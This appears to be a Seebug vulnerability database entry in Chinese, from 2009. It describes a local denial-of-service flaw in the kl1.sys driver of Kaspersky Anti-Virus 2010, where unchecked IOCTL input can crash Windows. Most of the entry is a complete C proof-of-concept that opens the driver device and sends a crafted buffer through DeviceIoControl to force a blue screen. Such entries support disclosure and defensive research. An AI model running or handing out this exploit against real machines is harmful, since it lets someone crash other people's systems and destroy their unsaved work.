Kaspersky Anti-Virus kl1.sys驱动本地拒绝服务漏洞

2009-11-18T00:00:00
ID SSV:12664
Type seebug
Reporter Root
Modified 2009-11-18T00:00:00

Description

BUGTRAQ ID: 37044

Kaspersky Antivirus是非常流行的杀毒软件。

Kaspersky杀毒软件所使用的kl1.sys驱动没有检查IOCTL的输入地址,如果用户修改了一个或两个DWORD就可以触发异常,导致系统蓝屏死机。

Kaspersky Labs Kaspersky Antivirus 2010 9.0.0.463 厂商补丁:

Kaspersky Labs

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.kaspersky.com/

                                        
                                            
                                                #include <stdio.h>
#include <windows.h>
#include <winioctl.h>
#include <stdlib.h>
#include <string.h>

int __cdecl main(int argc, char* argv[])
{
    HANDLE hDevice = (HANDLE) 0xffffffff;
    DWORD NombreByte;
    DWORD Crashing[] = {
         0x3ff8f44a, 0x9d4ad6c2, 0xd883673e, 0x0a06ac2a,
         0x3d4552b1, 0x3b2f314e, 0xeb6dfc7e, 0xfcfdf961,
         0xde0f4405, 0xaa76f8eb, 0x2dbc6ead, 0x534047f9,
         0xb5ebadc5
        };
    BYTE Out[0x20];
    
    printf("Local DoS - Kaspersky 2010 9.0.0.463\n\n");
    hDevice = CreateFile("\\\\.\\kimul25",GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
    
    DeviceIoControl(hDevice,0x0022c008,Crashing,sizeof(Crashing),Out,sizeof(Out),&NombreByte,NULL);
    
    printf("Sploit Send.\nhDevice = %x\n", hDevice);
    CloseHandle(hDevice);
    getch();
    return 0;
}